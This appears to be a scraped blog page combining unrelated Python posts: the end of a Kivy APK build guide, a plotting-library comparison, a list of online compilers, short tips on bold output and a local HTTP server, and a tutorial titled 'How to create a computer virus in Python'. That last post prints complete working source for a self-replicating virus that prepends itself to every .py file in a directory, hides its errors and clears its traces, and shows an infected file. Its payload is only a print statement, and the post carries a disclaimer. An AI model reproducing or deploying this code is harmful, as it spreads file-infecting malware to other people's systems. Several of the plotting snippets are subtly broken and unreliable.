*Note If you don't wish to use Admob then Skip this step

!pip install kivmob

🔴 🥝 Run 10 A [Create App As Debug Mode]

If you wish to test it on your phone run this line.
Type"y"
This will take upto 15 ~ 20 minutes or more. upto 35 minutes.

!buildozer -v android debug

🟢 🥝 Run 10 B [Create App As Release Mode]

If you wish to upload in google play store run this line.
Type"y"
This will take upto 15 ~ 20 minutes or more.

!buildozer -v android release

🔵 🥝 Run 11 [Clean Previous App Built]

Cleaning old settings.

!buildozer android clean

🥝 Run 12 [Check If "keystore maker" is installed and running. It is called "keytool"]

!keytool -h

🥝 Run 13 [Create Folder Named Keystores]

!mkdir keystores

🥝 Run 14 [Creating KeyStore]

!keytool -genkey -v -keystore keystores/kivyapp.keystore -alias kivyapp -sigalg SHA256withRSA -keyalg RSA -keysize 2048 -validity 10000

🥝 Run 15 [Convert jks keystore to pkcs12 format keystore which is an industry standard format.]

!keytool -importkeystore -srckeystore keystores/kivyapp.keystore -destkeystore keystores/kivyapp.keystore -deststoretype pkcs12

🥝 Run 16 [Validate our new personal certificate] Password I am using 123456789

*replace 123456789 with your own password

!keytool -list -keystore keystores/kivyapp.keystore -alias kivyapp -v -storepass 123456789

🥝 Run 17 [Get File Path of your APK using windows CMD command line]

!cd bin && echo -ne "bin/"&&dir

🥝 Run 18 [Sign the release apk using the keystore]

!jarsigner -keystore keystores/kivyapp.keystore < YOUR APK > kivyapp

!jarsigner -keystore keystores/kivyapp.keystore <YOUR APK PATH> kivyapp

🥝 Run 19 [Install Android SDK]

Reason:- We need zipalign tool found in Android SDK
for that Install android-sdk
It will take few seconds to install unlike windows

!sudo apt update && sudo apt install android-sdk

🥝 Run 20 [Check if zipalign is installed & running]

!zipalign -h

🥝 Run 21 [Get File Path of your APK again using windows CMD command line]

!cd bin && echo -ne "bin/"&&dir

🥝 Run 22 [zipalign the APK]

zipalign is an archive alignment tool that provides important optimization to Android application (ie. .apk) file.
...
!zipalign -v 4 < YOUR APK-release-unsigned.apk > < YOUR APK-release-optimized.apk >
...
!zipalign -v 4 bin/YOUR-APK-release-unsigned.apk Final-APK-release-optimized.apk

!zipalign -v 4 <YOUR APK PATH> myapp-0.1-armeabi-v7a-release--optimized.apk

NOTE DONT FORGET Toooooooooooooooooooooooo......:

Download your keystores old & new
Remember your keystore password (write it somewhere)
Download your unsign apk
Download your release apk
Download your ICON/sound file/font file if any
Download your main.py *IMPORTANT

Because After you close google colab it will not save your work Backup EVERYTHING

:::Dev Info:::

My Name:- Joel D'costa
Git:- Kivy APP Maker
Google Colab:-

The 7 most popular ways to plot data in Python

2022-01-02T08:11:00.036-08:00

"How do I make plots in Python?" used to have a simple answer: Matplotlib was the only way. Nowadays, Python is the language of data science, and there's a lot more choice. What should you use?

This guide will help you decide. It will show you how to use each of the four most popular Python plotting libraries—Matplotlib, Seaborn, Plotly, and Bokeh—plus a couple of great up-and-comers to consider: Altair, with its expressive API, and Pygal, with its beautiful SVG output. I'll also look at the very convenient plotting API provided by pandas.

For each library, I've included source code snippets, as well as a full web-based example using Anvil, our platform for building web apps with nothing but Python. Let's take a look.

An Example Plot

Each library takes a slightly different approach to plotting data. To compare them, I'll make the same plot with each library and show you the source code. For my example data, I chose this grouped bar chart of British election results since 1966:

I compiled the dataset of British election history from Wikipedia: the number of seats in the UK parliament won by the Conservative, Labour, and Liberal parties (broadly defined) in each election from 1966 to 2019, plus the number of seats won by "others." You can download it as a CSV file.

Matplotlib

Matplotlib is the oldest Python plotting library, and it's still the most popular. It was created in 2003 as part of the SciPy Stack, an open source scientific computing library similar to Matlab.

Matplotlib gives you precise control over your plots—for example, you can define the individual x-position of each bar in your barplot. Here is the code to graph this (which you can run here):


import matplotlib.pyplot as plt
import numpy as np
from votes import wide as df

# Initialise a figure. subplots() with no args gives one plot.
fig, ax = plt.subplots()

# A little data preparation
years = df['year']
x = np.arange(len(years))

# Plot each bar plot. Note: manually calculating the 'dodges' of the bars
ax.bar(x - 3*width/2, df['conservative'], width, label='Conservative', color='#0343df')
ax.bar(x - width/2, df['labour'], width, label='Labour', color='#e50000')
ax.bar(x + width/2, df['liberal'], width, label='Liberal', color='#ffff14')
ax.bar(x + 3*width/2, df['others'], width, label='Others', color='#929591')

# Customise some display properties
ax.set_ylabel('Seats')
ax.set_title('UK election results')
ax.set_xticks(x)    # This ensures we have one tick per year, otherwise we get fewer
ax.set_xticklabels(years.astype(str).values, rotation='vertical')
ax.legend()

# Ask Matplotlib to show the plot
plt.show()

And here are the election results plotted in Matplotlib:

Seaborn

Seaborn is an abstraction layer on top of Matplotlib; it gives you a really neat interface to make a wide range of useful plot types very easily.

It doesn't compromise on power, though! Seaborn gives escape hatches to access the underlying Matplotlib objects, so you still have complete control.

Seaborn's code is simpler than the raw Matplotlib (runnable here):


import seaborn as sns
from votes import long as df

# Some boilerplate to initialise things
sns.set()
plt.figure()

# This is where the actual plot gets made
ax = sns.barplot(data=df, x="year", y="seats", hue="party", palette=['blue', 'red', 'yellow', 'grey'], saturation=0.6)

# Customise some display properties
ax.set_title('UK election results')
ax.grid(color='#cccccc')
ax.set_ylabel('Seats')
ax.set_xlabel(None)
ax.set_xticklabels(df["year"].unique().astype(str), rotation='vertical')

# Ask Matplotlib to show it
plt.show()

And produces this chart:

Plotly

Plotly is a plotting ecosystem that includes a Python plotting library. It has three different interfaces:

An object-oriented interface
An imperative interface that allows you to specify your plot using JSON-like data structures
A high-level interface similar to Seaborn called Plotly Express

Plotly plots are designed to be embedded in web apps. At its core, Plotly is actually a JavaScript library! It uses D3 and stack.gl to draw the plots.

You can build Plotly libraries in other languages by passing JSON to the JavaScript library. The official Python and R libraries do just that. At Anvil, we ported the Python Plotly API to run in the web browser.

Here's the source code in Plotly (which you can run here):


import plotly.graph_objects as go
from votes import wide as df

#  Get a convenient list of x-values
years = df['year']
x = list(range(len(years)))

# Specify the plots
bar_plots = [
    go.Bar(x=x, y=df['conservative'], name='Conservative', marker=go.bar.Marker(color='#0343df')),
    go.Bar(x=x, y=df['labour'], name='Labour', marker=go.bar.Marker(color='#e50000')),
    go.Bar(x=x, y=df['liberal'], name='Liberal', marker=go.bar.Marker(color='#ffff14')),
    go.Bar(x=x, y=df['others'], name='Others', marker=go.bar.Marker(color='#929591')),
]

# Customise some display properties
layout = go.Layout(
    title=go.layout.Title(text="Election results", x=0.5),
    yaxis_title="Seats",
    xaxis_tickmode="array",
    xaxis_tickvals=list(range(27)),
    xaxis_ticktext=tuple(df['year'].values),
)

# Make the multi-bar plot
fig = go.Figure(data=bar_plots, layout=layout)

# Tell Plotly to render it
fig.show()

And the election results plot:

Bokeh

Bokeh (pronounced "BOE-kay") specializes in building interactive plots, so this standard example doesn't show it off to its best. Like Plotly, Bokeh's plots are designed to be embedded in web apps; it outputs its plots as HTML files.

Here is the code in Bokeh (which you can run here)


from bokeh.io import show, output_file
from bokeh.models import ColumnDataSource, FactorRange, HoverTool
from bokeh.plotting import figure
from bokeh.transform import factor_cmap
from votes import long as df

# Specify a file to write the plot to
output_file("elections.html")

# Tuples of groups (year, party)
x = [(str(r[1]['year']), r[1]['party']) for r in df.iterrows()]
y = df['seats']

# Bokeh wraps your data in its own objects to support interactivity
source = ColumnDataSource(data=dict(x=x, y=y))

# Create a colourmap
cmap = {
    'Conservative': '#0343df',
    'Labour': '#e50000',
    'Liberal': '#ffff14',
    'Others': '#929591',
}
fill_color = factor_cmap('x', palette=list(cmap.values()), factors=list(cmap.keys()), start=1, end=2)

# Make the plot
p = figure(x_range=FactorRange(*x), width=1200, title="Election results")
p.vbar(x='x', top='y', width=0.9, source=source, fill_color=fill_color, line_color=fill_color)

# Customise some display properties
p.y_range.start = 0
p.x_range.range_padding = 0.1
p.yaxis.axis_label = 'Seats'
p.xaxis.major_label_orientation = 1
p.xgrid.grid_line_color = None

And the plot:

Altair

Altair is based on a declarative plotting language (or "visualization grammar") called Vega. This means it's a well-thought-through API that scales well for complex plots, saving you from getting lost in nested-for-loop hell.

As with Bokeh, Altair outputs its plots as HTML files. Here's the code (which you can run here):


import altair as alt
from votes import long as df

# Set up the colourmap
cmap = {
    'Conservative': '#0343df',
    'Labour': '#e50000',
    'Liberal': '#ffff14',
    'Others': '#929591',
}

# Cast years to strings
df['year'] = df['year'].astype(str)

# Here's where we make the plot
chart = alt.Chart(df).mark_bar().encode(
    x=alt.X('party', title=None),
    y='seats',
    column=alt.Column('year', sort=list(df['year']), title=None),
    color=alt.Color('party', scale=alt.Scale(domain=list(cmap.keys()), range=list(cmap.values())))
)

# Save it as an HTML file.
chart.save('altair-elections.html')

And the resulting chart:

Pygal

Pygal focuses on visual appearance. It produces SVG plots by default, so you can zoom them forever or print them out without them getting pixellated. Pygal plots also come with some good interactivity features built-in, making Pygal another underrated candidate if you're looking to embed plots in a web app.

The source code looks like this (and you can run it here):


import pygal
from pygal.style import Style
from votes import wide as df

# Define the style
custom_style = Style(
    colors=('#0343df', '#e50000', '#ffff14', '#929591')
    font_family='Roboto,Helvetica,Arial,sans-serif',
    background='transparent',
    label_font_size=14,
)

# Set up the bar plot, ready for data
c = pygal.Bar(
    title="UK Election Results",
    style=custom_style,
    y_title='Seats',
    width=1200,
    x_label_rotation=270,
)

# Add four data sets to the bar plot
c.add('Conservative', df['conservative'])
c.add('Labour', df['labour'])
c.add('Liberal', df['liberal'])
c.add('Others', df['others'])

# Define the X-labels
c.x_labels = df['year']

# Write this to an SVG file
c.render_to_file('pygal.svg')

And the chart:

Pandas

Pandas is an extremely popular data science library for Python. It allows you to do all sorts of data manipulation scalably, but it also has a convenient plotting API. Because it operates directly on data frames, the pandas example is the most concise code snippet in this article—even shorter than the Seaborn code!

The pandas API is a wrapper around Matplotlib, so you can also use the underlying Matplotlib API to get fine-grained control of your plots.

Here's the election results plot in pandas. The code is beautifully concise!


from matplotlib.colors import ListedColormap
from votes import wide as df

cmap = ListedColormap(['#0343df', '#e50000', '#ffff14', '#929591'])

ax = df.plot.bar(x='year', colormap=cmap)

ax.set_xlabel(None)
ax.set_ylabel('Seats')
ax.set_title('UK election results')

plt.show()

And the resulting chart:

To run this example, check out here.

Plot your way

Python offers many ways to plot the same data without much code. While you can get started quickly creating charts with any of these methods, they do take some local configuration. Anvil offers a beautiful web-based experience for Python development if you're in need. Happy plotting!

More Python Resources

List of Python Compiler Online | Python Online Compiler | Python Compiler

2021-12-25T03:03:00.052-08:00

I have found total of 99 List of Python Compiler Online which would be really helpful to you all.

Here are some of them.

No	List of Python Compiler Online	Site URL	Main Site
1	Online Python Compiler (Interpreter) - Programiz	http://www.programiz.com/python-programming/online-compiler/	programiz.com
2	Online Python Compiler - online editor	http://www.onlinegdb.com/online_python_compiler	onlinegdb.com
3	Python Online Compiler (Editor / Interpreter) - W3Schools	http://www.w3schools.com/python/python_compiler.asp	w3schools.com
4	Execute Python Online - Tutorialspoint	http://www.tutorialspoint.com/execute_python_online.php	tutorialspoint.com
5	Online Python - IDE, Editor, Compiler, Interpreter	http://www.online-python.com/	online-python.com
6	Write, run and share Python code online - OneCompiler	http://onecompiler.com/python	onecompiler.com
7	Online Python 3 IDE - JDoodle	http://www.jdoodle.com/python3-programming-online/	jdoodle.com
8	Online Python Compiler	http://www.interviewbit.com/online-python-compiler/	interviewbit.com
9	Top 6 Online Python Compiler Picks for 2022 - Naukri.com	http://www.naukri.com/learning/articles/top-online-python-compiler-picks/	naukri.com
10	Online Python Compiler (Editor / Interpreter / IDE) to Run Code	http://www.guru99.com/execute-python-online.html	guru99.com
11	Python is a programming language that lets you work quickly	http://www.python.org/shell/	python.org
12	Python Online Compiler & Interpreter - Replit	http://replit.com/languages/online-python-compiler	replit.com
13	Python Compiler Editor - Google Workspace Marketplace	http://workspace.google.com/marketplace/app/python_compiler_editor/807307805212	workspace.google.com
14	Code, Compile & Run - CodeChef	http://www.codechef.com/ide	codechef.com
15	Ideone.com: Online Compiler and IDE >> C/C++, Java, PHP ...	http://ideone.com/	ideone.com
16	Online Python Compiler - Geekflare	http://geekflare.com/online-compiler/python	geekflare.com
17	online python compiler with all modules Code Example	http://www.codegrepper.com/code-examples/python/online+python+compiler+with+all+modules	codegrepper.com
18	Python 3.5 Online Compiler and Editor (IDE) - workat.tech	http://workat.tech/ide/online-python-compiler	workat.tech
19	Online Python Code Editor - PYnative	http://pynative.com/online-python-code-editor-to-execute-python-code/	pynative.com
20	Trinket: run code anywhere	http://trinket.io/embed/python3/a5bd54189b	trinket.io
21	Top 13 Best Python Compiler For Python Developers [2021 ...	http://www.softwaretestinghelp.com/python-compiler/	softwaretestinghelp.com
22	Online Python Compiler - myCompiler	http://www.mycompiler.io/online-python-compiler	mycompiler.io
23	Online Python Compiler - paiza.IO	http://paiza.io/en/languages/python3	paiza.io
24	Online python: Python compiler - Codabrainy	http://www.codabrainy.com/en/python-compiler/	codabrainy.com
25	Python Online IDE and Compiler - Coding Rooms	http://www.codingrooms.com/compiler/python3/	codingrooms.com
26	Online Python Compiler \| LinkedIn	http://www.linkedin.com/products/programiz-online-python-compiler/	linkedin.com
27	Online Python Compiler With Django \| Final Year Project With ...	http://www.youtube.com/watch?v=UqKq67VbHrg	youtube.com
28	Best Python IDEs and Online Compiler - DataCamp	http://www.datacamp.com/community/news/best-python-ides-and-online-compiler-43z1jkwa5np	datacamp.com
29	The Best Python Compiler to Run Code Online	http://python.plainenglish.io/the-best-python-compiler-to-run-code-online-c9b930c10bb4	python.plainenglish.io
30	Python code online compiler - C21Media	http://www.c21media.net/eng/python-code-online-compiler	c21media.net
31	What is the best online Python compiler? - DEV Community	http://dev.to/katholder/what-is-the-best-online-python-compiler-1mjn	dev.to
32	Online Python - IDE, Editor, Compiler, Interpreter - CodePen	http://codepen.io/harunpehlivan/full/qBNpGKr	codepen.io
33	ONLINE PYTHON COMPILER - TECHARGE	http://www.techarge.in/online-python-compiler/	techarge.in
34	Python compiler - Wikipedia	http://en.wikipedia.org/wiki/Python_compiler	en.wikipedia.org
35	compile python online	http://rextester.com/l/python_online_compiler	rextester.com
36	Online Python Compiler - AlphaCodingSkills	http://www.alphacodingskills.com/compile-python-online.php	alphacodingskills.com
37	Map local path to an online python compiler - Stack Overflow	http://stackoverflow.com/questions/62258905/map-local-path-to-an-online-python-compiler	stackoverflow.com
38	PyCharm: the Python IDE for Professional Developers by ...	http://www.jetbrains.com/pycharm/	jetbrains.com
39	Online Python Compiler and Editor - CodeInterview.io	http://codeinterview.io/online-python-compiler	codeinterview.io
40	Is there an online Python compiler that comes along a pip?	http://www.quora.com/Is-there-an-online-Python-compiler-that-comes-along-a-pip	quora.com
41	Online Compiler – C/C++, Java, Python... \| Techie Delight	http://www.techiedelight.com/compiler/	techiedelight.com
42	Top 10 Python IDE and Code Editors in 2020 - GeeksforGeeks	http://www.geeksforgeeks.org/top-10-python-ide-and-code-editors-in-2020/	geeksforgeeks.org
43	Python Compiler Editor	http://chrome.google.com/webstore/detail/python-compiler-editor/cbobmdabfjfogbodncgennjhpcmdlfin	chrome.google.com
44	Top Online Python Compiler - STechies	http://www.stechies.com/top-online-python-compilers/	stechies.com
45	Execute Python Code Online - Studytonight	http://www.studytonight.com/code/playground/python/	studytonight.com
46	Python Tutor - Visualize Python, Java, C, C++, JavaScript ...	http://pythontutor.com/	pythontutor.com
47	Numba: A High Performance Python Compiler	http://numba.pydata.org/	numba.pydata.org
48	Top 7 Best Python Online IDE and Interpreters in 2022	http://appdividend.com/2020/09/04/best-python-online-ides-and-interpreters/	appdividend.com
49	1. Online Compiler from Programiz \| by Tech Coder \| Medium	http://medium.com/@aaradhyarajawat1896/1-online-compiler-from-programiz-591b2c2f01df	medium.com
50	10 Best Options for Students to Compile & Edit Python Online	http://eduwyre.com/article/online-python-compiler-interpreter	eduwyre.com
51	Online Python Compiler to Run Code in the Browser [Updated]	http://www.techgeekbuzz.com/online-python-compiler/	techgeekbuzz.com
52	What is the best online compiler for Python? : r/learnpython	http://www.reddit.com/r/learnpython/comments/b9mrd4/what_is_the_best_online_compiler_for_python/	reddit.com
53	7 Major Python Compilers and Interpreters - Free Online ...	http://data-flair.training/blogs/python-compilers/	data-flair.training
54	online-compiler · GitHub Topics	http://github.com/topics/online-compiler	github.com
55	Online Python Compiler - Home \| Facebook	http://www.facebook.com/OnlinePythonCompiler/	facebook.com
56	Online Python Compiler (Interpreter).htm - Course Hero	http://www.coursehero.com/file/80034570/Online-Python-Compiler-Interpreterhtm/	coursehero.com
57	Python Development Tools for Windows - Visual Studio	http://visualstudio.microsoft.com/vs/features/python/	visualstudio.microsoft.com
58	MicroPython - Python for microcontrollers	http://micropython.org/	micropython.org
59	Python in Visual Studio Code	http://code.visualstudio.com/docs/languages/python	code.visualstudio.com
60	Python Compiler Online - ATechDaily	http://www.atechdaily.com/Python-ide-online.html	atechdaily.com
61	7 Best Python Compilers that Every Python Developer Must ...	http://hackr.io/blog/best-python-compilers	hackr.io
62	Python Compilers \| List of Top 7 Awesome Compliers of ...	http://www.educba.com/python-compilers/	educba.com
63	Best Python Compiler Online and Offline 2021 - ITSourceCode	http://itsourcecode.com/free-projects/python-projects/best-python-compiler-online-and-offline-2021/	itsourcecode.com
64	What is the best online python compiler for running ... - Edureka	http://www.edureka.co/community/88604/what-the-best-online-python-compiler-running-python-scripts	edureka.co
65	Python Online compiler - OverIQ.com	http://overiq.com/python-online-compiler/Dx/	overiq.com
66	Online Compiler (Python, C++, R, Java, PHP, JS) - FavTutor	http://favtutor.com/compiler	favtutor.com
67	Python Interpreter	http://www.pythonpool.com/python-compiler/	pythonpool.com
68	Best Online Python Compiler For Free Top 9 - Coding - Pinterest	http://www.pinterest.com/pin/640496378243431020/	pinterest.com
69	online python compiler (interpreter) to run python online	http://brainly.in/question/33209882	brainly.in
70	Python IDEs and Code Editors (Guide) - Real Python	http://realpython.com/python-ides-code-editors-guide/	realpython.com
71	Python tester - Test code online - ExtendsClass	http://extendsclass.com/python.html	extendsclass.com
72	Best Python Compilers for Effective Programming - Analytics ...	http://www.analyticsvidhya.com/blog/2021/05/choose-best-python-compilers-for-your-machine-learning-project-detailed-overview/	analyticsvidhya.com
73	Python compiler online - Pretag	http://pretagteam.com/question/python-compiler-online	pretagteam.com
74	Online Python Compiler - PythonBaba.com	http://pythonbaba.com/online-python-compiler/	pythonbaba.com
75	Online Compiler & Debugger (C, C++, Java & Python)	http://www.time4education.com/local/articlecms/page.php?id=3893	time4education.com
76	Learn Python Programming with Tutorials & Python Courses	http://www.coursera.org/courses?query=python	coursera.org
77	Online Compiler For Python [ Online Editor ] - Learnprogramo	http://learnprogramo.com/online-compiler-for-python/	learnprogramo.com
78	IDE \| Free Online Compiler with more that 20+ on ... - GUVI	http://www.guvi.in/ide	guvi.in
79	Welcome To Colaboratory - Google Research	http://research.google.com/colaboratory/	research.google.com
80	PythonAnywhere: Host, run, and code Python in the cloud	http://www.pythonanywhere.com/	pythonanywhere.com
81	Solve Python \| HackerRank	http://www.hackerrank.com/domains/python	hackerrank.com
82	best online python compiler / editor for machine learning	http://pythonslearning.com/2021/05/best-online-python-compiler-editor-for-machine-learning.html	pythonslearning.com
83	Online Python Editor - copyassignment.com	http://copyassignment.com/online-python-editor/	copyassignment.com
84	Project Jupyter \| Try Jupyter	http://jupyter.org/try	jupyter.org
85	Python Online IDE, Compiler, Interpreter & Code Editor	http://codeanywhere.com/languages/python	codeanywhere.com
86	Online Python Compiler and Editor at Codepad	http://www.remoteinterview.io/online-python-compiler	remoteinterview.io
87	Write and run Python code for the following example - Chegg	http://chegg.com	chegg.com
88	Python Compiler - Online Programming Tutorials - Tutipy	http://tutipy.com/python-compiler/	tutipy.com
89	Python Online Compiler - Training Campus	http://www.trainingcampus.in/python-online-compiler.html	trainingcampus.in
90	Home — Spyder IDE	http://www.spyder-ide.org/	spyder-ide.org
91	Online Python IDE - The Learning Setu	http://www.thelearningsetu.com/online-python-editor/	thelearningsetu.com
92	Python Courses & Tutorials \| Codecademy	http://www.codecademy.com/catalog/language/python	codecademy.com
93	Online Python Tutor - Visualize program execution - Computer ...	http://cscircles.cemc.uwaterloo.ca/visualize	cscircles.cemc.uwaterloo.ca
94	Python for Kids: Best Resources to Learn Python Programming	http://www.codewizardshq.com/python-for-kids/	codewizardshq.com
95	Python Online: The 10 Best Tools to Edit and Compile Python	http://noeticforce.com/python-online-compiler-interpreter-code-editors	noeticforce.com
96	Sublime Text - Text Editing, Done Right	http://www.sublimetext.com/	sublimetext.com
97	Python compiler online - Code Helper	http://www.code-helper.com/answers/python-compiler-online	code-helper.com
98	Wing Python IDE - Designed for Python	http://wingware.com/	wingware.com
99	QPython - Best Mobile Python Engine	http://www.qpython.org/	qpython.org

Python bold string | Python bold text | Bold python print

2021-12-25T01:43:00.009-08:00

Hello everyone,
As the topic suggest we are going to create python output that would be simple output in an bold form itself inside python shell.

Install pip install prompt-toolkit first
Lets get on with the code:-

#pip install prompt-toolkit

>>> from __future__ import unicode_literals, print_function
>>> from prompt_toolkit import print_formatted_text, HTML

>>> string = "Hello World Welcome to Python 4 Fun"

>>> print_formatted_text(HTML(f'<b>{string}</b>'))
Hello World Welcome to Python 4 Fun

I have tried all types method to make the output Bold.

But this method only works only on Windows in Python Shell.

But in Python IDLE the same code will throw an error

So how to run this?

Simple, Create PY file as bold.py and from CMD run it as python "bold.py".

Run > CMD > python "bold.py"

You can also run as batch file.

i.e. open Notepad > python "bold.py" (Type & save it as Runpy.bat)

Double click on the Runpy.bat file and it will work but for a split second.

To stop it from disappearing add pause

This is how a batch file should look like

== Runpy.bat =================

@echo off

python "bold.py"

pause

===========================

Hope you like the tutorial.

Python is simple and fun to play with and yet very powerful. 🔥

How to Create Python Server (Simple Steps) | Run Web Story using Python Server | Create local HTTP Python server

2021-12-15T07:36:00.009-08:00

Q. What is Python Server?

Ans. Python is a programming language which creates a Server using python script making your computer as webhost to host HTML files just like other webhosts or ftp clients.

Python will access your given folder as a web directory to access and run HTML, JavaScript & CSS files.

Q. So, How does it work?

Ans. Steps for follow:-

1. Create a folder name it PUBLIC. (You can name whatever you like)
2. Create a file and name it as SERVER.py
3. Copy the Code given below in the SERVER.py and save it inside PUBLIC folder.
4. Create a html file name it index.html
5. Edit index.html and copy paste this html code <html>hello world</html>
6. Save it & Run the Python Script and minimize it.
7. Open your browser Chrome | Mozilla and type this url 127.0.0.1:8000
9. You will see your index.html is working correctly.

Points:-
- 8000 is your port number as mentioned in the python script
- Add your own html code and see how it works.
- It will only Run - HTML, JAVASCRIPT, CSS
- It will not run - PHP

Very handy while making Web Stories

import webbrowser

# Checking Python Version Compatibility 
try:
     # If Python 2.7+v installed Run this
     import SimpleHTTPServer as svr
     import SocketServer as soc
except:
     # If Python 3.0+v installed Run this
     import http.server as svr
     import socketserver as soc

PORT = 8000

Handler = svr.SimpleHTTPRequestHandler

http_public = soc.TCPServer(("", PORT), Handler)

print ("serving at port \t > \t", PORT)
print ("Open Browser and Run \t > \t 127.0.0.1:8000")
# this will open your index.html page.
# Refresh browser if showing [try again]
webbrowser.open('http://127.0.0.1:8000') 
http_public.serve_forever()


#-------------------------

# To Run in command line:
# for Python 2.7
# python -m SimpleHTTPServer 8000

# for Python 3.7
# python -m http.server 8000

#-------------------------

# Your URL type 127.0.0.1:8000
# Html should be index.html or index.htm
# Else you will see only list of files in that folder.

*First Download Web Story Sample from here

*Source:- https://amp.dev/documentation/guides-and-tutorials/start/visual_story/setting_up/

*Extract the contents of the zip file in a folder and name the folder "PUBLIC"

*Copy the Python Script in the same folder and name it SERVER.py and RUN

*View the Effect by clicking on the html pages.

How to create a computer virus in Python

2021-12-01T07:57:00.005-08:00

Yes, It is possible to write a code in Python that would work like virus.

But, its anachronistic in 2021. Nowadays other kinds of malware (like worms for example) re far more common than viruses. Moreover, modern operative systems are more secure and less prone to be infected than MS-DOS or Windows 95 were (sorry Microsoft…) and people are more aware of the risk of malware in general.

Moreover, to write a computer virus, probably Python is not the best choice at all. It’s an interpreted language and so it needs an interpreter to be executed. Yes, you can embed an interpreter to your virus but your resulting virus will be heavier and a little clunky… let’s be clear, to write a virus probably other languages that can work to a lower level and that can be compiled are probably a better choice and that’s why in the old days it was very common to see viruses written in C or Assembly.

That said, it is still possible to write computer viruses in Python, and in this article, you will have a practical demonstration. Now, before start, you know I have to write a little disclaimer.

This article will show you that a computer virus in Python is possible and even easy to be written. However, I am NOT encouraging you to write a computer virus (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that HARMING AN IT SYSTEM IS A CRIME!

Now, we can proceed.

According to Wikipedia…a computer virus is a computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be “infected” with a computer virus, a metaphor derived from biological viruses. That means that our main goal when writing a virus is to create a program that can spread around and replicate infecting other files, usually bringing a “payload”, which is a malicious function that we want to execute on the target system.

Usually, a computer virus does is made by three parts:

The infection vector: this part is responsible to find a target and propagates to this target
The trigger: this is the condition that once met execute the payload
The payload: the malicious function that the virus carries around

Let’s start coding.

try:
     # retrieve the virus code from the current infected script
     virus_code = get_virus_code()

     # look for other files to infect
     for file in find_files_to_infect():
          infect(file, virus_code)

     # call the payload
     summon_chaos()

except:
     pass

finally:
     # delete used names from memory
     for i in list(globals().keys()):
          if(i[0] != '_'):
               exec('del {}'.format(i))

     del i

Let’s analyze this code.

First of all, we call the get_virus_code() function, which returns the source code of the virus taken from the current script.

Then, the find_files_to_infect() function will return the list of files that can be infected and for each file returned, the virus will spread the infection.

After the infection took place, we just call the summon_chaos() function, that is - as suggested by its name - the payload function with the malware code.

That’s it, quite simple uh?

Obviously, everything has been inserted in a try-except block, so that to be sure that exceptions on our virus code are trapped and ignored by the pass statement in the except block.

The finally block is the last part of the virus, and its goal is to remove used names from memory so that to be sure to have no impact on how the infected script works.

Okay, now we need to implement the stub functions we have just created! :)

Let’s start with the first one: the get_virus_code() function.

To get the current virus code, we will simply read the current script and get what we find between two defined comments.

For example:

def get_content_of_file(file):
     data = None
     with open(file, "r") as my_file:
          data = my_file.readlines()
     return data

def get_virus_code():
     virus_code_on = False
     virus_code = []

     code = get_content_of_file(__file__)

     for line in code:
          if "# begin-virus\n" in line:
               virus_code_on = True
          if virus_code_on:
               virus_code.append(line)
          if "# end-virus\n" in line:
               virus_code_on = False
               break
     return virus_code

Now, let’s implement the find_files_to_infect() function. Here we will write a simple function that returns all the *.py files in the current directory. Easy enough to be tested and… safe enough so as not to damage our current system! :)

import glob

def find_files_to_infect(directory = "."):
     return [file for file in glob.glob("*.py")]

This routine could also be a good candidate to be written with a generator. And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this:And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this:

def get_content_if_infectable(file):
     data = get_content_of_file(file)
     for line in data:
          if "# begin-virus" in line:
               return None
     return data

def infect(file, virus_code):
     if (data:=get_content_if_infectable(file)):
          with open(file, "w") as infected_file:
               infected_file.write("".join(virus_code))
               infected_file.writelines(data)

Now, all we need is to add the payload. Since we don’t want to do anything that can harm the system, let’s just create a function that prints out something to the console.

def summon_chaos():
     # the virus payload
     print("We are sick, fked up and complicated\nWe are chaos, we can't be cured")

Ok, our virus is ready! Let’s see the full source code:

# begin-virus
import glob

def find_files_to_infect(directory = "."):
     return [file for file in glob.glob("*.py")]

def get_content_of_file(file):
     data = None
     with open(file, "r") as my_file:
          data = my_file.readlines()
     return data

def get_content_if_infectable(file):
     data = get_content_of_file(file)
     for line in data:
          if "# begin-virus" in line:
               return None
     return data

def infect(file, virus_code):
     if (data:=get_content_if_infectable(file)):
          with open(file, "w") as infected_file:
               infected_file.write("".join(virus_code))
               infected_file.writelines(data)

def get_virus_code():
     virus_code_on = False
     virus_code = []

     code = get_content_of_file(__file__)

     for line in code:
          if "# begin-virus\n" in line:
               virus_code_on = True
          if virus_code_on:
               virus_code.append(line)

          if "# end-virus\n" in line:
               virus_code_on = False
               break
     return virus_code

def summon_chaos():
     # the virus payload
     print("We are sick, fked up and complicated\nWe are chaos, we can't be cured")

     # entry point 

try:
     # retrieve the virus code from the current infected script
     virus_code = get_virus_code() 

     # look for other files to infect
     for file in find_files_to_infect():
          infect(file, virus_code)

     # call the payload
     summon_chaos()

except:
     pass

finally:
     # delete used names from memory
     for i in list(globals().keys()):
          if(i[0] != '_'):
               exec('del {}'.format(i))
     del i

# end-virus

Let’s try it putting this virus in a directory with just another .py file and let see if the infection starts. Our victim will be a simple program named [numbers.py](http://numbers.py) that returns some random numbers, like this:

# numbers.py

import random

random.seed()

for _ in range(10):
     print (random.randint(0,100))

When this program is executed it returns 10 numbers between 0 and 100, super useful! LOL!

Now, in the same directory, I have my virus. Let’s execute it:

/playgrounds/python/first ❯ python ./first.py                                                                          02:30:42 PM
We are sick, fked up and complicated
We are chaos, we can't be cured

As you can see, our virus has started and has executed the payload. Everything is fine, but what happened to our [numbers.py](http://numbers.py) file? It should be the victim of the infection, so let’s see its code now.

# begin-virus

import glob

def find_files_to_infect(directory = "."):
     return [file for file in glob.glob("*.py")]
 
def get_content_of_file(file):
     data = None
     with open(file, "r") as my_file:
          data = my_file.readlines()

     return data

def get_content_if_infectable(file):
     data = get_content_of_file(file)
     for line in data:
          if "# begin-virus" in line:
               return None
     return data

def infect(file, virus_code):
     if (data:=get_content_if_infectable(file)):
          with open(file, "w") as infected_file:
               infected_file.write("".join(virus_code))
               infected_file.writelines(data)

def get_virus_code():
     virus_code_on = False
     virus_code = []
     code = get_content_of_file(__file__)

     for line in code:
          if "# begin-virus\n" in line:
               virus_code_on = True

          if virus_code_on:
               virus_code.append(line)

          if "# end-virus\n" in line:
               virus_code_on = False
               break

     return virus_code

def summon_chaos():
     # the virus payload
     print("We are sick, fked up and complicated\nWe are chaos, we can't be cured")

# entry point 
